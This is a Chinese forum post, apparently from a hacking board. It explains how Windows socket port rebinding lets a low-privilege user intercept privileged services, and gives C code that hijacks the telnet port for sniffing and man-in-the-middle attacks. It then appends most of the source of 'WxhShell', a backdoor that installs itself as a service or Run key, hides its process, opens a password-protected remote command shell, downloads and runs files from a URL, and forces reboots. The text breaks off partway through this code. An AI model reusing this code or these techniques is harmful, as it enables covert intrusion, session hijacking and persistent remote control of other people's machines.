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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gjLgeyyWC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &~f_1<  
?} tQaj  
  saddr.sin_family = AF_INET; {K8T5zrV  
-V/i%_+Ze  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S\!E;p  
z1s"C[W2T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~' =4K/39  
p,Hk"DSs%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <t37DnCgI  
In M'zAhb  
  这意味着什么?意味着可以进行如下的攻击: (C@@e'e  
htym4\Z=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rapca'&#  
Uk\U*\.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cSk}53  
", )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {?hjx+v[  
0%+k>(@ R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @ RBwT  
:%MWbnVSC,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wwn}enEz,x  
eCd?.e0@j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D/UGN+  
\"Iy <zG  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q:.BY}X9  
dxWw%_Q  
  #include = g}yA=.  
  #include =LnAMl#9  
  #include ]]3D` F}  
  #include    -1JHhRr]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u`|fmVI  
  int main() A,qG*lv  
  { B4aZ3.&W  
  WORD wVersionRequested; 3/FB>w gt  
  DWORD ret; oD\+ 5[x  
  WSADATA wsaData; @CF4:NNHw  
  BOOL val; hhhO+D1(  
  SOCKADDR_IN saddr; nVzo=+Yp  
  SOCKADDR_IN scaddr;  V}qmH2h  
  int err; Dm#k-y  
  SOCKET s; p#2th`M:P1  
  SOCKET sc; Z- (HDn  
  int caddsize; P\e%8&_U/  
  HANDLE mt; >`'9V| 1  
  DWORD tid;   a~>h'}C>  
  wVersionRequested = MAKEWORD( 2, 2 ); : 6V 8  
  err = WSAStartup( wVersionRequested, &wsaData ); Q>$L;1E*,  
  if ( err != 0 ) { ]EQ/*ct  
  printf("error!WSAStartup failed!\n"); yk2j&}M  
  return -1; `l"~"x^Rr  
  } {eUfwPAa3  
  saddr.sin_family = AF_INET; 6< Z9p@6  
   e.V){}{V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |e&Kg~~C  
aK'r=NU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;zDc0qpw  
  saddr.sin_port = htons(23); to7)gOX(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |=s3a5sl  
  { KK</5Aw9p  
  printf("error!socket failed!\n"); MzD0F#Y  
  return -1; $ 1U%E  
  } @4$E.q<0  
  val = TRUE; +$5^+C\6A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K<GCP2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W6Pg:Il7  
  { C.<4D1}P  
  printf("error!setsockopt failed!\n"); bAp`lmFI  
  return -1; \ua.%|  
  } g\'sGt3O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2|BE{91  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -; }Wm[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6EY4@0%A  
c&&UT-Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Gx@\BE{  
  { &&O=v]6,V  
  ret=GetLastError(); 2uVm?nm  
  printf("error!bind failed!\n"); 4a-wGx#h  
  return -1; .Ko`DH~!,C  
  } "Q1hP9xV  
  listen(s,2); s3J$+1M >  
  while(1) 0P(}e[~Z  
  { M_K&x-H0  
  caddsize = sizeof(scaddr); )f Rh^6  
  //接受连接请求 5S LF1u;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d@hJ=-4  
  if(sc!=INVALID_SOCKET) 16vfIUtb  
  { f$|v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xh0!H| R  
  if(mt==NULL) yFG&Ir  
  { ? t-2oLE  
  printf("Thread Creat Failed!\n"); P6Ei!t,>  
  break; x% 1Rp[  
  } Rs wR DLl  
  } 'mF}+v^   
  CloseHandle(mt); F <(Y  
  } kel48B  
  closesocket(s); U*cj'`eqC  
  WSACleanup(); _wBPn6gg`  
  return 0; ,P^"X5$   
  }   &D:88   
  DWORD WINAPI ClientThread(LPVOID lpParam) /NZ R|  
  { I8y\D,  
  SOCKET ss = (SOCKET)lpParam; \GWC5R7Q0j  
  SOCKET sc; +\4=G@P.J  
  unsigned char buf[4096]; 1Q<a+ l  
  SOCKADDR_IN saddr; Yh=Zn[ U  
  long num; \T0`GpE  
  DWORD val; X`&E,;bIb  
  DWORD ret; D$ \ EZ   
  //如果是隐藏端口应用的话,可以在此处加一些判断 $3>|R lxYA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Go4l#6  
  saddr.sin_family = AF_INET; 5zU$_M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9V~yK?  
  saddr.sin_port = htons(23); -UO$$)Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o&=m]hKpQl  
  { 6o!"$IH4  
  printf("error!socket failed!\n"); ^IpS 3y  
  return -1; mYCGGwD  
  } \ C Yu;  
  val = 100; 4"{q|~&=:$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JmkJ^-A 6  
  { d=[ .   
  ret = GetLastError(); gIeo7>u  
  return -1; [eImP V]  
  } \gdd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z,*VRuA  
  { ; ?!sU  
  ret = GetLastError(); OX91b<A  
  return -1; nP.d5%E  
  } 3hkA`YSYt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]^!#0(  
  { [30e>bSf`  
  printf("error!socket connect failed!\n"); ,Fb#%r%  
  closesocket(sc); . @.CQB=E  
  closesocket(ss); 0/c4%+ Ln  
  return -1; !|D,cs  
  }  u!(|y9p  
  while(1) |$Td-M^)  
  { QeGU]WU{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1z)+P1nH]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6(.&y;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -szvO_UP  
  num = recv(ss,buf,4096,0); =3FXU{"Qi4  
  if(num>0) \-^3Pe,  
  send(sc,buf,num,0); OA+W$  
  else if(num==0) d/e9LK  
  break; 7{6wNc  
  num = recv(sc,buf,4096,0); fy-( B;  
  if(num>0) epQ7@9,Q  
  send(ss,buf,num,0); qFay]V(O|  
  else if(num==0) &kP>qTI^p~  
  break;  M`bK   
  } Q,>AT$|  
  closesocket(ss); mWZV O,t$  
  closesocket(sc);  A/9 wr  
  return 0 ; 7JbN WN  
  } #VLTx!5o  
O?P6rXKr  
FK->|  
========================================================== cng 1k  
 ST{<G  
下边附上一个代码,,WXhSHELL \eN}V  
IlH*s/  
========================================================== .69{GM?  
by- B).7  
#include "stdafx.h" b(wiJ&t  
'i}Q R~pe  
#include <stdio.h> [xHK^JP 8F  
#include <string.h> .^/OL}/~<  
#include <windows.h> ss*dM.b  
#include <winsock2.h> STO6cNi  
#include <winsvc.h> T3\Q<  
#include <urlmon.h> @hk~8y]rz  
6b@:La  
#pragma comment (lib, "Ws2_32.lib") y8\44WKW  
#pragma comment (lib, "urlmon.lib") 5WEF^1  
HH^eEh4g  
#define MAX_USER   100 // 最大客户端连接数 ?]:3`;h3  
#define BUF_SOCK   200 // sock buffer ^;L;/I[-  
#define KEY_BUFF   255 // 输入 buffer \MnlRBUM,  
JD.WH|sZ5  
#define REBOOT     0   // 重启 ?>2k>~xlQ  
#define SHUTDOWN   1   // 关机 |@Bl?Bs+  
(%tKGeb  
#define DEF_PORT   5000 // 监听端口 vFQ'sd]C  
 1D6iJ  
#define REG_LEN     16   // 注册表键长度 u\50,N9Wp{  
#define SVC_LEN     80   // NT服务名长度 =YR/|9(  
9\V^q9l  
// 从dll定义API }yUZ(k#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b*7OIN5h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =^NR(:SaaU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nT:ZSJWM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O0e6I&u :  
SwLul4V  
// wxhshell配置信息 KATt9ox@  
struct WSCFG { TwY]c<t  
  int ws_port;         // 监听端口 7Y:1ji0l  
  char ws_passstr[REG_LEN]; // 口令 QDs]{F#  
  int ws_autoins;       // 安装标记, 1=yes 0=no JBp^@j{_  
  char ws_regname[REG_LEN]; // 注册表键名 /.P*%'g  
  char ws_svcname[REG_LEN]; // 服务名 I U/gYFT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y7 = *-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ig~lD>dnr'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LEG y1L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p"w"/[8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YeT[KjX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`mxOcBmQ  
fs\l*nBig  
}; g$~ktr+%  
LyH{{+V  
// default Wxhshell configuration \It8+^d@  
struct WSCFG wscfg={DEF_PORT, SO9j/  
    "xuhuanlingzhe", 2]hQ56Yv3  
    1, 525W; mu{  
    "Wxhshell", Jc/*w  
    "Wxhshell", J&wrBVv1uk  
            "WxhShell Service", YuFJJAJ  
    "Wrsky Windows CmdShell Service", USv: + .  
    "Please Input Your Password: ", Y$shn]~  
  1, V|)3l7IC<  
  "http://www.wrsky.com/wxhshell.exe", (i1 ]+.  
  "Wxhshell.exe" ,F]Y,"x:  
    }; YP/BX52 v  
6Gwk*%sb  
// 消息定义模块 K08xiMjl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5$/ED3mcK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,,OO2EgZ`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pri=;I(2A  
char *msg_ws_ext="\n\rExit."; -r7*C :E  
char *msg_ws_end="\n\rQuit."; |#>\GU=!  
char *msg_ws_boot="\n\rReboot..."; u?i_N0H  
char *msg_ws_poff="\n\rShutdown..."; 8i;EpAwB  
char *msg_ws_down="\n\rSave to "; h${+{1](6  
f.4r'^  
char *msg_ws_err="\n\rErr!"; x=(Q$Hl5  
char *msg_ws_ok="\n\rOK!"; 'gI q_t|^  
oSq4g{xvMH  
char ExeFile[MAX_PATH]; "k[-eFz/@M  
int nUser = 0; . _Bejh  
HANDLE handles[MAX_USER]; E9i M-Lw  
int OsIsNt; 1YL6:5n  
8c3Qd  
SERVICE_STATUS       serviceStatus; QX-%<@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?#da4W  
9KkxUEkW  
// 函数声明 LB1LQ 0M  
int Install(void); 9Ra*bP ]1  
int Uninstall(void); nep0<&"  
int DownloadFile(char *sURL, SOCKET wsh); YBehyx2eK  
int Boot(int flag); hCS|(8g  
void HideProc(void); 4$ya$Y%s%  
int GetOsVer(void); e0Zwhz,  
int Wxhshell(SOCKET wsl); ihS;q6ln  
void TalkWithClient(void *cs); R7pdwKD  
int CmdShell(SOCKET sock); `fYICp  
int StartFromService(void); WBvh<wTw;  
int StartWxhshell(LPSTR lpCmdLine); yPs4S?<s  
-^yb[b,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ya.!zGH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *mwHuGbZed  
2iO AUo+  
// 数据结构和表定义 ;/l$&:  
SERVICE_TABLE_ENTRY DispatchTable[] = ~gg(i"V  
{ GG<{n$h  
{wscfg.ws_svcname, NTServiceMain}, '#pY/,hVB  
{NULL, NULL} B >2"O  
}; ]zK'aod  
B)>r~v]  
// 自我安装 cAnL,?_v  
int Install(void) Q$u&/g3NvL  
{ mCah{~  
  char svExeFile[MAX_PATH]; O|wu;1pQ  
  HKEY key; )IQ5Qu  
  strcpy(svExeFile,ExeFile); bS7rG$n [  
S5'ZKk  
// 如果是win9x系统,修改注册表设为自启动 qRi;[`  
if(!OsIsNt) { jd ]$U_U(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J'{69<`Dl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |[qq $  
  RegCloseKey(key); x \0( l5>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {EU?{ #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~xfoZiIA}  
  RegCloseKey(key); ,t?c=u\5  
  return 0; "u^%~2  
    } f"i(+:la  
  } (OS -v~{r@  
} c$fi3O  
else { su:~X d  
D#"BY; J  
// 如果是NT以上系统,安装为系统服务 YNHQbsZUI,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dZ^(e0& :H  
if (schSCManager!=0) 7uy?%5  
{ f+3ico]f@  
  SC_HANDLE schService = CreateService 9)2 kjBeb  
  ( 1V ?)T  
  schSCManager, q+<<Ku(20  
  wscfg.ws_svcname, n/]w!  
  wscfg.ws_svcdisp, Em6P6D>S>,  
  SERVICE_ALL_ACCESS, vl}fC@%WRI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DpA"5RV  
  SERVICE_AUTO_START, }7Lo}}  
  SERVICE_ERROR_NORMAL, d6RO2^  
  svExeFile, Z!#n55 |  
  NULL, zt,Tda4Y  
  NULL, kD"BsL*6!  
  NULL, Qk`ykTS!  
  NULL, "^gV.  
  NULL hv. 33l  
  ); $+'bRUo  
  if (schService!=0) cl\Gh  
  { @9$u!ny0  
  CloseServiceHandle(schService); ,EsPm'`?A/  
  CloseServiceHandle(schSCManager); b{+7sl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U -h'a: K  
  strcat(svExeFile,wscfg.ws_svcname); |aWeo.;c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KkD.n#A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^lw0} i  
  RegCloseKey(key); 3jeB\  
  return 0; }253Q!f  
    } xvpCOoGsz  
  } PeU>h2t  
  CloseServiceHandle(schSCManager); %5[,U)X"  
} *;N6S~_'Y  
} $RAS pM  
$nf5bo/;  
return 1; X6h@K</c^:  
}  s*XE  
WRdBL5  
// 自我卸载 $~^Y4 } m  
int Uninstall(void) <t~RGn3  
{ k 'CM^,F&  
  HKEY key; O\~/J/u <  
^k#.;Q#4  
if(!OsIsNt) { D6Q6yNE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5>S=f{ghFw  
  RegDeleteValue(key,wscfg.ws_regname); ng0tNifZ;  
  RegCloseKey(key); --D&a;CO}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A,H|c="  
  RegDeleteValue(key,wscfg.ws_regname); _0GM!Cny  
  RegCloseKey(key); (B/od#nU  
  return 0; W~W `fm  
  } 6cQ)*,Q  
} "J.7@\^ h/  
} T> < Vw  
else { Q85Y6',  
[\_#n5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b '9L}q2m  
if (schSCManager!=0) 9e aqq  
{ V eD<1<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GS*Mv{JJ  
  if (schService!=0) #&$a7L}  
  { tMy<MO)Ei  
  if(DeleteService(schService)!=0) { U07 G&? /  
  CloseServiceHandle(schService); tJ qd  
  CloseServiceHandle(schSCManager); xPcH]Gs^b  
  return 0; J$+K't5BZ  
  } 03)R_A  
  CloseServiceHandle(schService); )NjxKSiU@  
  } FS+v YqwK  
  CloseServiceHandle(schSCManager); ",O}{z  
} p?Rq  
} 5YG %\  
U %,K8u|WH  
return 1; <jjn'*44f  
} g!![%*' b  
S.)+C2g,@  
// 从指定url下载文件 =Rw-@ *#l  
int DownloadFile(char *sURL, SOCKET wsh) s/+k[9l2  
{ [V2`t'  
  HRESULT hr; 8T]x4JQ0  
char seps[]= "/"; pD@2Mt0|]=  
char *token; n[f<]4<  
char *file; IncHY?ud<  
char myURL[MAX_PATH]; }#bX{?f  
char myFILE[MAX_PATH]; H)5V \  
MJ% gF=$X  
strcpy(myURL,sURL); {>]7xTpwZ  
  token=strtok(myURL,seps); Qzh`x-S  
  while(token!=NULL) ;ND)h pD+  
  { w(6(Fze  
    file=token; 0hCrEM!8  
  token=strtok(NULL,seps); xRiWg/Z~  
  } tqMOh R  
Z\ 1wEGP7{  
GetCurrentDirectory(MAX_PATH,myFILE); USrBi[_ci\  
strcat(myFILE, "\\"); h ycdk1SN  
strcat(myFILE, file); QPZ|C{Ce  
  send(wsh,myFILE,strlen(myFILE),0); Vmb `%k20'  
send(wsh,"...",3,0); p$+.]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); naaww  
  if(hr==S_OK) Fx]}<IudA^  
return 0; 7%7 \2!0J}  
else 2y;J 11\  
return 1; %fzZpd]v=,  
D,( "3zx  
} %J b/HWC[  
bAkCk]>5  
// 系统电源模块 ]A#K;AW{U  
int Boot(int flag) +jv&V%IL  
{ 2<X.kM?N{B  
  HANDLE hToken; ?z/ )Hkw  
  TOKEN_PRIVILEGES tkp; %9HL "  
<q<kqy5s-R  
  if(OsIsNt) { ,bU 8S\8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h+"UK=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c&]nAn(  
    tkp.PrivilegeCount = 1; }z|@X KA#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; muZ6}&4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PSR21;  
if(flag==REBOOT) { B{dR/q3;@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R{0nk   
  return 0; 4],*y`& g  
} 6$*\%  
else { = VFPZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~ MZEAY9  
  return 0; *$6dNx  
} wBa IN]Y,  
  } dPx{9Y<FzU  
  else { PQJI~u9te}  
if(flag==REBOOT) { iQ7S*s+l5O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 56JvF*hP  
  return 0; G Ch]5\  
} -&UP[Mq  
else { []#>r k~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =TcT`](o  
  return 0; y<0RgG1qp  
} NJqjW  
} %fH&UFby  
BK/~2u  
return 1; f?[0I\V[$  
} J6s@}@R1  
ZPO+ #,  
// win9x进程隐藏模块 $eQf5)5  
void HideProc(void) [.[|rnil  
{ -,Y[`(q  
$bd tiD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NB@TyU  
  if ( hKernel != NULL )  A&8{0  
  { 4 >2g&);B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R8(Bt73  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +"8-)'  
    FreeLibrary(hKernel); OMM5p=2Q  
  } >$ok3-tuU  
a*GiLq  
return; )h>H}wDs  
} =j&qat  
!8ch&cr)o+  
// 获取操作系统版本 iFBH;O_~  
int GetOsVer(void) /'<Qk'   
{ S9@2-Oc  
  OSVERSIONINFO winfo; 6vL+qOdx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CG397Y^  
  GetVersionEx(&winfo); <^v-y)%N:A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hp}dm93T  
  return 1; NBaXfWh  
  else 7sglqf>  
  return 0; Ao}J   
} )/4xR]  
C(jUM!m  
// 客户端句柄模块 +@5@`"Jry  
int Wxhshell(SOCKET wsl) T:?01?m  
{ FM=- ^l,  
  SOCKET wsh; Ce~ a(J|"  
  struct sockaddr_in client; 0[QVU,]<  
  DWORD myID; =E~)svl6g  
Hi5}s  
  while(nUser<MAX_USER) Aav|N3  
{ -q6d&D'B+  
  int nSize=sizeof(client); QgB%\mO=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Y| %  
  if(wsh==INVALID_SOCKET) return 1; RX6s[uQ  
x+;"(]#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vOnhJN  
if(handles[nUser]==0) *v6 j7<H  
  closesocket(wsh); r@v_hc  
else ?$Tp|<tx#  
  nUser++; 0n('F  
  } _4lhwKYU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !%,k]m'  
H7&bUt/  
  return 0; wz1fl#WU  
} ^\Gukkmh}  
(w/)u  
// 关闭 socket Z7:TPY$b  
void CloseIt(SOCKET wsh) Sn~h[s_(  
{ sY*iRq  
closesocket(wsh); ]Ac&h aAP  
nUser--; -!JnyD   
ExitThread(0); \Ng|bWR>LQ  
} 3g''j7  
=, WW#tD  
// 客户端请求句柄 _`LQnRp(  
void TalkWithClient(void *cs) F?EAIL  
{ =xX)2h  
blHJhB&8  
  SOCKET wsh=(SOCKET)cs; #OE]'k Ss  
  char pwd[SVC_LEN]; #\LsM ~,  
  char cmd[KEY_BUFF]; rh+2 7"  
char chr[1]; Z<M?_<3  
int i,j; jJU9~5i?  
l$mfsm|{:  
  while (nUser < MAX_USER) { SIr^\iiOB  
) HPe}(ypt  
if(wscfg.ws_passstr) { Y-vLEIX=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R[Y{pT,AY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L-V+`![{  
  //ZeroMemory(pwd,KEY_BUFF); cq-UVk"Gl  
      i=0; ujH ^ML  
  while(i<SVC_LEN) { ,R8:Y*@P  
10`]&v]T  
  // 设置超时 >|!s7.H/J/  
  fd_set FdRead; .e|VW)  
  struct timeval TimeOut; D1g .Fek5  
  FD_ZERO(&FdRead); b,MzHx=im  
  FD_SET(wsh,&FdRead); z&@O\>Q  
  TimeOut.tv_sec=8; "T0s7LWp  
  TimeOut.tv_usec=0; Q xg)Wb#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J~,Ny_L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *~H\#N|x  
W2 p&LP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1w|C+m/(  
  pwd=chr[0]; oBqWIXM  
  if(chr[0]==0xd || chr[0]==0xa) { 6OOdVS3\J  
  pwd=0; [l%6wIP&{  
  break; //W7$DYEG  
  } LRa^x44  
  i++; ;(1Xb   
    } ,rZp(moj  
"T+oXK\B  
  // 如果是非法用户,关闭 socket o1B8_$aYgc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jXCSD@?]K  
} {=)g?!zC  
:,]*~Nl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t=B>t S.hO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } 63Qh}_Y  
QW[ gDc  
while(1) { I&lb5'6D  
^w1&A 3=6  
  ZeroMemory(cmd,KEY_BUFF); `of` uB  
i=mk#.j~  
      // 自动支持客户端 telnet标准   `N.^+Mvx-  
  j=0; I C?bqC+  
  while(j<KEY_BUFF) { $-Wn|w+h<a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (|kcSnF0  
  cmd[j]=chr[0]; ~n<U8cm O  
  if(chr[0]==0xa || chr[0]==0xd) { x;; =+)Gg  
  cmd[j]=0; _t'S<jTI  
  break; qS.TVNZ  
  } 34e> R?J  
  j++; E!_mXjlPc  
    } Z'F=Xw6;b  
$22_>OsA  
  // 下载文件 -o`Eka!ELz  
  if(strstr(cmd,"http://")) { "jFRGgd79  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g$P<`.  
  if(DownloadFile(cmd,wsh)) <!m'xOD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]<Ce;Vj  
  else l]wjH5mz=i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2qQG  
  } n9p_D  
  else { W7 iml|WV0  
+q NX/F  
    switch(cmd[0]) { oI2YJ2?Je8  
  5OS|Vp||b  
  // 帮助 xQ{n|)i>  
  case '?': { "?r=n@Kv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); md.#n  
    break; `Fn6*_n  
  } ja1WI  
  // 安装 HC[)):S*  
  case 'i': { U.mVz,k3  
    if(Install())  I0v$3BQ4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>A`FqV$~+  
    else d@u)'AY%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +dB/SC-^U  
    break; Kx[u9MD  
    } 93+p~?  
  // 卸载 gs?=yNL  
  case 'r': { G5K_e:i  
    if(Uninstall()) _pM~v>~*+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\~ RWoB0u  
    else >^\}"dEvr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BEfp3|Stb  
    break; .NOh[68'  
    } ImnN&[Cu  
  // 显示 wxhshell 所在路径 IC[iCrB  
  case 'p': { f:)%+)U<Xm  
    char svExeFile[MAX_PATH]; h9J%NH  
    strcpy(svExeFile,"\n\r"); Ny oRp  
      strcat(svExeFile,ExeFile); F9Y/Z5 Ea  
        send(wsh,svExeFile,strlen(svExeFile),0); } eL*gy  
    break; _ U%fD|t  
    } :j=/>d],%  
  // 重启 /`)>W :  
  case 'b': { 'i5V6yB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #4Z]/D2G  
    if(Boot(REBOOT)) ~ R:=zGDV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qDzd_E@aR  
    else { W\W|v?r  
    closesocket(wsh); B)1.CHV%<  
    ExitThread(0); ag~4m5n*~  
    } p~h)@  
    break; ={GYJ. *Ah  
    } ejID5NqG  
  // 关机 t(,_  
